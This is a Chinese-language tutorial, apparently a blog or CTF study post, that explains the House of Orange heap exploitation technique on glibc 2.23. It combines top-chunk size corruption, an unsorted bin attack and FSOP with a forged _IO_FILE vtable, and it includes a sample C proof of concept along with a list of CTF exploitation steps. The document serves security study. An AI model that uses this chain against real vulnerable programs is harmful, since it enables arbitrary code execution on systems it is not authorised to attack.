House of orange及其IO组合攻击学习利用
字数 1481 2025-08-20 18:17:41
House of Orange及其IO组合攻击学习利用
前言
House of orange是glibc 2.23下常用的一种攻击手法,用于在程序中没有free函数的情况下,通过堆溢出结合IO_FILE结构体利用实现任意代码执行。本文将从原理到实践详细解析这种攻击方式。
攻击原理
House of Orange核心机制
-
当程序申请堆块时,如果top chunk大小不足:
- 将old top chunk放入unsorted bin
- 重新映射一块新的top chunk
-
利用条件:
- 存在堆溢出漏洞
- 能够控制top chunk的size字段
关键检查绕过
通过堆溢出伪造top chunk size时需要满足以下条件:
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
具体伪造要求:
- old top chunk的size ≥ MINSIZE (0x10)
- prev_inuse位设置为1
- old top chunk地址+size后的地址要与页对齐(address & 0xfff == 0x000)
- old chunk的size < 申请大小 + MINSIZE
组合攻击流程
1. House of Orange触发
- 申请一个初始堆块
- 通过堆溢出修改top chunk的size为较小值
- 申请一个大于修改后top chunk size的堆块,触发:
- old top chunk被放入unsorted bin
- 系统分配新的top chunk
2. FSOP (File Stream Oriented Programming)
攻击目标是_IO_FILE_plus结构体:
struct _IO_FILE_plus {
_IO_FILE file;
IO_jump_t *vtable;
};
伪造要点:
- 设置
_mode <= 0 - 设置
_IO_write_ptr > _IO_write_base - 伪造vtable,将
_IO_OVERFLOW函数指针替换为system - 在结构体开头写入"/bin/sh\x00"
3. Unsorted Bin Attack
利用unsorted bin的bk指针修改_IO_list_all:
- 将unsorted bin chunk的bk设置为
io_list_all - 0x10 - 当再次分配时,
_IO_list_all会被修改为main_arena+88 - 通过精心构造的偏移,使伪造的IO_FILE结构体被链表遍历到
实际利用示例
样例代码分析
// 1. 触发House of Orange
p1 = malloc(0x400-16);
top = (size_t *) ((char *) p1 + 0x400 - 16);
top[1] = 0xc01; // 修改top chunk size
p2 = malloc(0x1000); // 触发机制
// 2. 准备FSOP
io_list_all = top[2] + 0x9a8; // 计算io_list_all地址
top[3] = io_list_all - 0x10; // unsorted bin attack准备
// 3. 伪造IO_FILE结构体
memcpy((char *) top, "/bin/sh\x00", 8); // 写入"/bin/sh"
top[1] = 0x61; // 修改size为0x61
FILE *fp = (FILE *) top;
// 设置FSOP必要字段
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
// 伪造vtable
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner; // _IO_OVERFLOW指向winner
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;
// 4. 触发利用
malloc(10); // 触发malloc_assert->abort()->_IO_flush_all_lockp
CTF例题分析
题目特征:
- 有add、edit、show功能,无free
- edit存在堆溢出漏洞
利用步骤:
- 修改top chunk size触发House of Orange
- 泄露libc和堆地址
- 构造伪造的IO_FILE结构体
- 通过unsorted bin attack修改
_IO_list_all - 触发malloc_assert执行攻击
版本适用性
| 版本 | 适用性 |
|---|---|
| glibc 2.23 | 完全适用 |
| glibc 2.24 | 加入vtable检查,需使用IO_str_jumps等合法vtable |
| glibc 2.26+ | malloc_printerr不再刷新IO流,攻击失效 |
注意事项
_mode的正负性随机,有约50%失败概率- 申请大小超过0x20000会使用mmap而非扩展top chunk
- 需要精确控制内存布局和偏移
总结
House of orange与IO流攻击的结合开创了堆与IO组合利用的先河,其思路巧妙,利用链完整。虽然后续版本增加了防护措施,但理解这种攻击方式对于学习更高级的IO利用技术至关重要。